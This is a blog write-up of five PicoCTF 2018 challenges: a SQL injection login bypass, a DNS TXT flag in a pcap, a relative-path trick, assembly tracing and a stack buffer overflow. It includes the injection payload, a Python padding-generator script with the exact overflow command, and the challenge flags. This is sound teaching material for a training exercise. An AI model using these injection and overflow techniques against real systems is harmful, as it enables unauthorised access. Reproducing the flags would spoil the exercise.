PicoCTF 2018, part 51 through 55


Introduction

This is a continuation of the series on the PicoCTF 2018 challenges I have completed so far. You can find the previous write-up here. You can find a collection of other write-ups in this series on the home page or through the related posts below this post. Some more fun reversing in this collection!

The Vault250 points


This challenge gives us another login problem, with seemingly another SQL injection attack.

There is a website running at http://2018shell.picoctf.com:53261 (link). Try to see if you can login!

This challenge is quite funny, because I immediately started ramming my SQL injection queries into the username field. Shortly after seeing a load of 'Login failed' and 'SQLi Detected' errors, I noticed we can view the source code. Let's highlight the interesting parts:

  $con = new SQLite3($database_file);

  $username = $_POST["username"];
  $password = $_POST["password"];
  $debug = $_POST["debug"];
  $query = "SELECT 1 FROM users WHERE name='$username' AND password='$password'";

So apparently, this is a SQLite3 database, which is absolutely fine, SQL injection can be done on any badly filtered input that goes into an SQL query. We can see on the sixth line that the input is not filtered / escaped at all.

  //validation check
  $pattern ="/.*['\"].*OR.*/i";
  $user_match = preg_match($pattern, $username);
  $password_match = preg_match($pattern, $username);
  if($user_match + $password_match > 0)  {
    echo "<h1>SQLi detected.</h1>";

And look at this 1337 validation! I looked at this code for quite a while, thinking I was seeing something interesting, yet looking over the culprit completely. There are two calls to preg_match and the results are stored in $user_match and $password_match, however both preg_match calls filter the $username, never the $password.

So, the extremely basic ' OR 1 -- technique did not work on username, which is fine, because it will work on password! Enter any username in the form and use ' OR 1 -- for the password. Boom, there's another flag.

flag: picoCTF{w3lc0m3_t0_th3_vau1t_23495366}

What's My Name?250 points


This challenge doesn't give away much from the description, but links to a pcap file.

Say my name, say my name.

"What's my name?" and "Say my name." tells me we need to find something related to names. I figured this could be something about usernames or perhaps even domain names, after checking the hints tab I noticed that indeed it is about domain names. We probably need to check DNS traffic in the pcap file.

Upon opening the file in WireShark, scrolling through the first part, I see two DNS entries in the log. The first one is a request for thisismyname.com and the second entry I see is the response. In the response, you can conveniently expand an 'Answers' node in WireShark (I love that software) and one of the entires is a DNS TXT record.

Intuitively I clicked on that (it just seemed logical a flag would be in a TXT record) and indeed it contains the flag. I can see that this problem might be a challenge if you haven't had much to do with DNS traffic yet, but when you manage several domains and use domain servers locally for development purposes, this one is not too difficult.

It does teach you a bit more about WireShark, you can filter for DNS requests and responses and you can also view the response in a very readable format - awesome!

flag: picoCTF{w4lt3r_wh1t3_d4946f5125fc315cfb62150b6e2aebe7}

Absolutely Relative250 points


This challenge asks us to retrieve a flag from a program, and the importance of relative or absolute paths is implied.

In a filesystem, everything is relative ¯_(ツ)_/¯. Can you find a way to get a flag from this program? You can find it in /problems/absolutely-relative_4_bef88c36784b44d2585bb4d2dbe074bd on the shell server. Source.

I downloaded the C source code to see what this program is doing, because messing with relative paths should be fun in this point range. I'll list it here, as the solution is in the code:

#include <stdio.h>
#include <string.h>

#define yes_len 3
const char *yes = "yes";

int main()
{
    char flag[99];
    char permission[10];
    int i;
    FILE * file;


    file = fopen("/problems/absolutely-relative_4_bef88c36784b44d2585bb4d2dbe074bd/flag.txt" , "r");
    if (file) {
        while (fscanf(file, "%s", flag)!=EOF)
        fclose(file);
    }   

    file = fopen( "./permission.txt" , "r");
    if (file) {
        for (i = 0; i < 5; i++){
            fscanf(file, "%s", permission);
        }
        permission[5] = '\0';
        fclose(file);
    }

    if (!strncmp(permission, yes, yes_len)) {
        printf("You have the write permissions.\n%s\n", flag);
    } else {
        printf("You do not have sufficient permissions to view the flag.\n");
    }

    return 0;
}

Judging by the code, the program tries to read a text file named permission.txt that is in the current working directory. When the text file contains the word yes, it will present you the flag.

Now your first instinct might tell you to write yes to a text file named permission.txt in the same directory where the absolutely-relative program lives, however that directory is obviously not writable. Here is where the relative path part makes it easy.

I login to the remote shell (2018shell4.picoctf.com) and create a permission.txt in my home directory:

cd ~
echo yes > permission.txt

And then I simply execute the program from my home directory, using its absolute path:

/problems/absolutely-relative_4_bef88c36784b44d2585bb4d2dbe074bd/absolutely-relative
# You have the write permissions.
# picoCTF{3v3r1ng_1$_r3l3t1v3_3b69633f}

That's it, flag done - absolutely relative!

flag: picoCTF{3v3r1ng_1$_r3l3t1v3_3b69633f}

Assembly 2250 points


This challenge is another assembly related challenge, we need to find the output of a function.

What does asm2(0xe,0x21) return? Submit the flag as a hexadecimal value (starting with '0x'). NOTE: Your submission for this question will NOT be in the normal flag format. Source located in the directory at /problems/assembly-2_3_c3ee3603bd2a8e682f1d64cf6dfd21fb.

I opened up the source code and commented the assembly instructions, which was quite clear:

.intel_syntax noprefix
.bits 32

.global asm2

asm2: 
    push    ebp
    mov     ebp, esp
    sub     esp, 0x10                           ; reserve memory on stack
    mov     eax, DWORD PTR [ebp+0xc]            ; copy parameter 2 to eax
    mov     DWORD PTR [ebp-0x4], eax            ; copy eax to variable 'result' (result = arg2)
    mov     eax, DWORD PTR [ebp+0x8]            ; copy parameter 1 to eax
    mov     DWORD PTR [ebp-0x8], eax            ; copy eax to variable 'counter' (counter = arg1)
    jmp     part_b
part_a:
    add     DWORD PTR [ebp-0x4], 0x1            ; result += 1
    add     DWORD PTR [ebp+0x8], 0x41           ; arg1 += 0x41 (strangely not ebp-0x8, but +0x8)
part_b:
    cmp     DWORD PTR [ebp+0x8], 0x9886         ; cmp(arg1, 0x9886)
    jle     part_a                              ; if arg1 <= 0x9886, jump to part_a
    mov     eax, DWORD PTR [ebp-0x4]            ; return result (until ret)
    mov     esp, ebp
    pop     ebp
    ret

The code creates a result variable and places argument 2 (thus 0x21) in it. It also creates a variable to hold argument 1, which I named counter, however it is never used. The rest of the routine simply modifies argument 1 instead of the variable.

The rest of the code is basically a loop that keeps adding 1 to the result variable until a certain condition on argument 1 is met. The code can be translated to any language (I chose python) without much trouble:

#!/usr/bin/env python3

def asm2(arg1, arg2):
    result  = arg2
    counter = arg1 # even though reserved in the asm code, not used.

    while (arg1 < 0x9886):
        result += 0x01
        arg1   += 0x41

    return result

print(hex(asm2(0xe, 0x21)))

When you execute this code, you'll get the flag that is in hexadecimal format (not in the usual flag format):

python3 solution.py
# 0x27a

To be honest, I did expect a little more complexity as this is the third assembly challenge. The flow was easier to follow and easier to write out than previous ones in my opinion, yet still fun!

flag: 0x27a

Buffer Overflow 2250 points


This challenge implies that we need to use a buffer overflow to get the flag.

Alright, this time you'll need to control some arguments. Can you get the flag from this program? You can find it in /problems/buffer-overflow-2_0_738235740acfbf7941e233ec2f86f3b4 on the shell server. Source.

This buffer overflow challenge is almost identical to the previous one we solved (as we'll see, extremely similar) in that it only requires you to provide parameters to the win function this time. This means we should not just overwrite the stack with the address of the win symbol, but also provide those required parameters.

I've added the full source code to the vuln program below and annotated the significant changes:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>

// buffsize is 100 instead of 64
#define BUFSIZE 100
#define FLAGSIZE 64

// two unsigned int parameters are rquired for this win function,
// instead of none in the previous buffer overflow challenge
void win(unsigned int arg1, unsigned int arg2) {
  char buf[FLAGSIZE];
  FILE *f = fopen("flag.txt","r");
  if (f == NULL) {
    printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");
    exit(0);
  }

  fgets(buf,FLAGSIZE,f);
  if (arg1 != 0xDEADBEEF) // the parameters should match specific values 
    return;
  if (arg2 != 0xDEADC0DE)
    return;
  printf(buf);
}

void vuln(){
  char buf[BUFSIZE];
  gets(buf);
  puts(buf); // puts is used instead of printf
}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);

  gid_t gid = getegid();
  setresgid(gid, gid, gid);

  puts("Please enter your string: ");
  vuln();
  return 0;
}

I'm going to continue with the code that I used in the previous buffer overflow challenge, because it already does most of the things we need to do. It's important to read that write-up, as I also explain my reasoning and why this works. In this write-up I'll simply add to that.

I need to modify the code from the previous challenge to allow for multiple integers to be added after the padding. The previous version only allowed a single integer in hexadecimal format, which would overwrite the return address of the function with the address of the function we want to return to.

I was overwriting the return address at that time, but this time I'll make the code flexible so that I can tweak the padding and values to my liking. Like this, the code might prove useful in future related challenges.

#!/usr/bin/env python3

from sys import argv
from sys import stdout

def int_safe(x, d = 0, base = 10):
    '''
        Convert a string in hexadecimal notation to base with a default of d when it fails
    '''
    try:
        return int(x, base)
    except:
        return d

def convert_le(x):
    '''
        Convert an integer to a string representation with little endian order
    '''
    result = list()
    while (x > 0):
        result.append(x & 0xff)
        x >>= 8

    return result

padding_size = 32

if (len(argv) > 1):
    padding_size = int_safe(argv[1], padding_size)

assert padding_size % 4 == 0, "padding must be a multiple of 4"

# the number of blocks required (a block is i.e. AAAA or BBBB)
padding_blocks = int(padding_size / 4)

# the padding
padding = list()

# create the initial padding, length defined in argv[1]
for index in range(0, padding_blocks):
    for i2 in range(0, 4):
        padding.append(0x41 + index)

# one or more values were provided in arguments, add those
# as integers
if (len(argv) > 2):
    for v in argv[2:]:
        integer = int_safe(v, 0, 16)
        padding.extend(convert_le(integer))

# write
stdout.buffer.write(bytes(padding))

We can test this function to see if we get the expected output, we should get an automatically generated padding in 'AAAABBBBCCCC....' pattern and our additional values should be added to the end:

./padding2.py 8 0x45454545 0x46464646
# AAAABBBBEEEEFFFF

Perfect, that's exactly what we need. We can now attempt to overwrite the return address and provide the required arguments as well! After running a few tests and tweaking the parameters a dozen times, I have discovered that:

  • We need to overwrite BUFFSIZE, so 100 bytes.
  • We need to overwrite a couple of more bytes related to code in vuln, this turned out to be 12 bytes.
  • We need to overwrite the return address with the address of win.
  • We need to pad the second return address (from main), so that we can finally write into the area where win expects the function arguments. I simply add 4 NOP instructions, because I can.
  • We write the two arguments.

This results in the next call from inside the problem directory:

~/padding2.py 112 0x080485CB 0x90909090 0xDEADBEEF 0xDEADC0DE | ./vuln
# Please enter your string:
# <pad string with address of win, 4 NOPs and 2 parameters>
# picoCTF{addr3ss3s_ar3_3asyada28e9b}Segmentation fault (core dumped)

This could've all be done using gdb, in fact I even used it to fetch the address of win, but that's all I wanted to do with gdb. Funny though, win had the same address as in the previous buffer overflow challenge.

I actually like looking at source code and trying to determine what the right padding will be. It's like a puzzle to me and I find it quite relaxing. Using gdb would've gotten me to the second return address on the stack sooner though, it took me a while before I thought of that.

Another fun challenge!

flag: picoCTF{addr3ss3s_ar3_3asyada28e9b}


Related articles